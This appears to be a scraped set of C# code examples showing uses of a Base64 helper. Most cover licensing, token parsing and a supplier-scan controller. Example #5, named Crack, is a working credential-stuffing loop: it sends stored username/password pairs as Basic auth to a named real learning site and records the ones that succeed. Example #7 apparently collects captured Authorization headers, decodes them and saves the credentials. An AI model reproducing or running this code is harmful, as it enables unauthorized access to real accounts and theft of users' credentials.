Пример #1
0
        /// <summary>
        /// 解析授权文件获取到授权信息
        /// </summary>
        /// <param name="filePath"></param>
        /// <returns></returns>
        public LicenceModel GetLicenceModel(string filePath)
        {
            if (!FileHelper.IsExistFile(filePath))
            {
                throw new CustomException("未找到授权文件!");
            }

            licenceObj = new LicenceModel();
            using (FileStream filestrem = new FileStream(filePath, FileMode.Open))
            {
                using (StreamReader reader = new StreamReader(filestrem))
                {
                    string typeStr = AESEncrypt.Decrypt(reader.ReadLine());
                    licenceObj.LicenceType = (LicenseTypeEnum)Enum.Parse(typeof(LicenseTypeEnum), typeStr, true);
                    string keyStr = reader.ReadLine();
                    licenceObj.PublicKey = AESEncrypt.Decrypt(keyStr);
                    licenceObj.Licence   = reader.ReadLine();
                }
            }

            string licenceStr = Base64Encrypt.Decrypt(licenceObj.Licence);
            string oStr       = RSAEncryptExt.DecryptString(licenceStr, licenceObj.PublicKey);

            string[] tempStrs = oStr.Split('&');
            licenceObj.MCode = tempStrs[0];

            string[] dateStrs = tempStrs[1].Split('|');
            licenceObj.AllData = dateStrs[0] == "true";
            licenceObj.Date    = Ext.UnixTimeToTime(dateStrs[1]);
            string[] userNumStrs = tempStrs[2].Split('|');
            licenceObj.AllUser = userNumStrs[0] == "true";
            licenceObj.UserNum = Convert.ToInt32(userNumStrs[1]);

            return(licenceObj);
        }
Пример #2
0
        /// <summary>
        /// 根据机器的IP与Mac地址信息生成机器码
        /// 根据不同的授权类型传入不同的值即可。
        /// </summary>
        /// <param name="ipStr">Ip的字符串</param>
        /// <param name="macStr">Mac地址的字符串</param>
        /// <param name="lisenceType">授权类型</param>
        /// <returns></returns>
        public string CreateMCode(string ipStr, string macStr, LicenseTypeEnum lisenceType)
        {
            //根据不同的授权类型,进行不同的判定
            switch (lisenceType)
            {
            case LicenseTypeEnum.Ip:
                macStr = "notwhitmac";
                break;

            case LicenseTypeEnum.Mac:
                ipStr = "notwhitip";
                break;

            default:
                ipStr  = ipStr ?? "notwhitip";;
                macStr = macStr ?? "notwhitmac";
                break;
            }

            string mCode = "";

            mCode = DESEncrypt.Encrypt(macStr, ipStr);
            mCode = MD5Encrypt.GetMD5_16(mCode);
            mCode = Base64Encrypt.Encrypt(mCode);
            return(mCode);
        }
Пример #3
0
        /// <summary>
        /// 从request请求中读取Token
        /// </summary>
        /// <returns></returns>
        public static PrivilegeIdentity Read(string privilege)
        {
            try
            {
                //将获取的标头值进行base64解码并转化为UTF-8
                privilege = Base64Encrypt.FromBase64(privilege);
                if (string.IsNullOrEmpty(privilege))
                {
                    return(null);
                }

                string[] prvlgs = null;

                //获取Request请求表头信息
                if (!string.IsNullOrEmpty(privilege))
                {
                    prvlgs = privilege.Split(new string[] { "|" }, StringSplitOptions.RemoveEmptyEntries);
                }

                if (prvlgs == null || prvlgs.Length != 2)
                {
                    return(null);
                }

                return(new PrivilegeIdentity(prvlgs[0].Trim(), prvlgs[1].Trim()));
            }
            catch
            {
                return(null);
            }
        }
Пример #4
0
        /// <summary>
        /// 生成认证码内容
        /// </summary>
        /// <returns></returns>
        public string CreateLicence(LicenceModel model)
        {
            string datePart    = model.AllData.ToString().ToLower() + "|" + Ext.GetUnixTime(model.Date);
            string userNumPart = model.AllUser.ToString().ToLower() + "|" + model.UserNum;
            string oStr        = model.MCode + "&" + datePart + "&" + userNumPart;
            string licenceStr  = RSAEncryptExt.EncryptString(oStr, model.PrivateKey);

            licenceStr = Base64Encrypt.Encrypt(licenceStr);
            return(licenceStr);
        }
Пример #5
0
        private async static Task Crack()
        {
            try
            {
                const string url = "http://learning.cmr.com.cn/member/checkuser.asp?type=AD";
                while (true)
                {
                    var skipNo = Interlocked.Increment(ref skip);
                    repository.SavePosition(skipNo);
                    var crackUser = await repository.GetOne(skipNo);

                    try
                    {
                        var baseAuth = string.Format("Basic {0}",
                                                     Base64Encrypt.EncryptString(crackUser.UserName + ":" + crackUser.Password));

                        var strResponse = HttpUtility.Get(url, Encoding.UTF8, x =>
                        {
                            x.Referer = "http://learning.cmr.com.cn/";
                            x.Headers["Authorization"] = baseAuth;
                        });

                        //保存
                        repository.SaveSuccessUserInfo(new CmrUserInfo()
                        {
                            UserName   = crackUser.UserName,
                            Password   = crackUser.Password,
                            CreateDate = DateTime.Now
                        });
                        Console.WriteLine(JsonUtility.Serialize(crackUser));
                    }
                    catch (WebException)
                    {
                        Console.Write(".");
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.Message);
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
        }
Пример #6
0
        /// <summary>
        /// 从request请求中读取Token
        /// </summary>
        /// <param name="authorization">request中Authorization</param>
        /// <returns></returns>
        public static TokenAuthIdentity Read(string authorization)
        {
            string authParameter = null;

            //获取Request请求表头信息
            if (!string.IsNullOrEmpty(authorization) &&
                authorization.IndexOf(" ") != -1)
            {
                authParameter = authorization.Substring(authorization.IndexOf(" "));
            }

            if (string.IsNullOrEmpty(authParameter))
            {
                return(null);
            }

            //将获取的标头值进行base64解码并转化为UTF-8
            authParameter = Base64Encrypt.FromBase64(authParameter);
            if (string.IsNullOrEmpty(authParameter))
            {
                return(null);
            }

            var authToken = authParameter.Split(':');

            if (authToken.Length < 2)
            {
                return(null);
            }

            if (!int.TryParse(authToken[0], out int id) && id != 0)
            {
                return(null);
            }
            else if (authToken.Length == 3)
            {
                return(new TokenAuthIdentity(id, Base64Encrypt.FromBase64(authToken[1]), Base64Encrypt.FromBase64(authToken[2])));
            }
            else
            {
                return(new TokenAuthIdentity(id, Base64Encrypt.FromBase64(authToken[1])));
            }
        }
Пример #7
0
        public ApiResponse <bool> UploadInfo(UploadInfoRequestDto request)
        {
            if (request == null || string.IsNullOrEmpty(request.Data))
            {
                return(new ApiResponse <bool>().Failed(ResultEnum.ParameterError));
            }

            //私钥解密
            var    rsa        = new RSA();
            var    filePath   = HttpContext.Server.MapPath(WebConfig.GetInstance().RSAPrivateKeyFile);
            string strDecrypt = rsa.Decrypt(request.Data, File.ReadAllText(filePath));

            //Json反序列化
            var dataObj = JsonUtility.Deserialize <UploadInfoRequest>(strDecrypt);

            if (string.IsNullOrEmpty(dataObj.AuthorizationString) || false == dataObj.AuthorizationString.Trim().StartsWith("Basic "))
            {
                return(new ApiResponse <bool>().Failed(ResultEnum.ParameterError));
            }

            //提取用户名和密码
            string strBase64 = dataObj.AuthorizationString.Substring(6);
            var    src       = Base64Encrypt.DecryptString(strBase64);

            var userAndPwd = src.Split(new[] { ":" }, StringSplitOptions.RemoveEmptyEntries);

            if (userAndPwd.Length != 2)
            {
                return(new ApiResponse <bool>().Failed(ResultEnum.ParameterError));
            }

            //持久化数据
            var model = new CmrUser()
            {
                UserName = userAndPwd[0].Trim(),
                Password = userAndPwd[1].Trim()
            };

            var result = CmrUserService.SaveOrUpdate(model);

            return(result);
        }
 public string ToHeaderToken(string prefix)
 {
     return(prefix + " " + Base64Encrypt.ToBase64($"{Id}:{Base64Encrypt.ToBase64(Token)}:{Base64Encrypt.ToBase64(Permission)}"));
 }
Пример #9
0
        /// <summary>
        /// 采购商扫一扫成客户
        /// tim
        /// 2015-7-22
        /// </summary>
        /// <param name="id"></param>
        /// <returns></returns>
        ///
        // [HttpPost]
        public ActionResult Scan(string obj)
        {
            BaseResult br = new BaseResult();

            try
            {
                var id_des    = Base64Encrypt.DecodeBase64(obj);
                var id_master = DESEncrypt.DecryptDES(id_des);
                if (!string.IsNullOrWhiteSpace(obj))
                {
                    //获取供应商信息
                    var ht = new Hashtable();
                    ht.Add("id_user_master", id_master);
                    br = BusinessFactory.Supplier.Get(ht);
                    if (!br.Success || br.Data == null)
                    {
                        br.Success = false;
                        br.Message.Add("您所扫描的供应商不存在.");
                        br.Level = ErrorLevel.Warning;
                        return(Json(br));
                    }

                    var gys = br.Data as Tb_Gys_Edit;

                    if (gys.id_user_master.Equals(GetLoginInfo <long>("id_user_master")))
                    {
                        br.Success = false;
                        br.Message.Add("自己不能扫描关注自己.");
                        br.Level = ErrorLevel.Warning;
                        return(Json(br));
                    }
                    //采购关系对象
                    Tb_Gys_Cgs_Check model = new Tb_Gys_Cgs_Check()
                    {
                        flag_form  = GetLoginInfo <string>("flag_from"),
                        flag_state = Gys_Cgs_Status.Apply,
                        id_cgs     = GetLoginInfo <long>("id_buyer"),
                        id_gys     = gys.id,
                        rq_sq      = DateTime.Now,
                        id_user    = GetLoginInfo <long>("id_user"),
                    };

                    //删除关注关系
                    ht.Clear();
                    ht.Add("id_gys", model.id_gys);
                    ht.Add("id_cgs", model.id_cgs);
                    ht.Add("id_user", model.id_user);
                    ht.Add("flag_from", model.flag_form);
                    BusinessFactory.SupplierAttention.Delete(ht);

                    //申请关注
                    br = BusinessFactory.BuyerAttention.Add(model);
                    if (br.Success)
                    {
                        WriteDBLog(LogFlag.Base, br.Message);

                        //获取采购商级别
                        ht.Clear();
                        ht.Add("id_gys", gys.id);
                        ht.Add("flag_sys", 1);
                        br = BusinessFactory.CustomerType.Get(ht);
                        if (br.Success && br.Data != null)
                        {
                            var cgs_level = br.Data as Tb_Cgs_Level;

                            //通过关注申请,直接成为客户
                            var gysmodel = new Tb_Cgs_Edit()
                            {
                                id           = model.id_cgs,
                                companyname  = GetLoginInfo <string>("companyname"),
                                id_cgs_level = cgs_level.id,
                                flag_pay     = 0,
                                id_create    = GetLoginInfo <long>("id_user"),
                                id_edit      = GetLoginInfo <long>("id_user")
                            };
                            ht.Clear();
                            ht.Add("model", gysmodel);
                            ht.Add("flag_from", model.flag_form);
                            ht.Add("id_supplier", gys.id);
                            br = BusinessFactory.SupplierAttention.Add(ht);
                            if (br.Success)
                            {
                                WriteDBLog(LogFlag.Base, br.Message);
                            }
                        }
                        else
                        {
                            br.Message.Clear();
                            br.Message.Add("供应商没有设置默认客户级别,无法扫描自动关注,请登录网站手动设置。");
                            br.Success = false;
                            br.Level   = ErrorLevel.Warning;
                        }
                    }
                }
                else
                {
                    br.Message.Clear();
                    br.Message.Add("扫描的二维码不正确。");
                    br.Success = false;
                    br.Level   = ErrorLevel.Warning;
                }
            }
            catch (CySoftException ex)
            {
                br.Message.Clear();
                br.Message.Add(ex.Message);
                br.Success = false;
                br.Level   = ErrorLevel.Warning;
            }
            catch (Exception ex)
            {
                br.Message.Clear();
                br.Message.Add(ex.Message);
                br.Success = false;
                br.Level   = ErrorLevel.Warning;
            }
            return(Json(br));
        }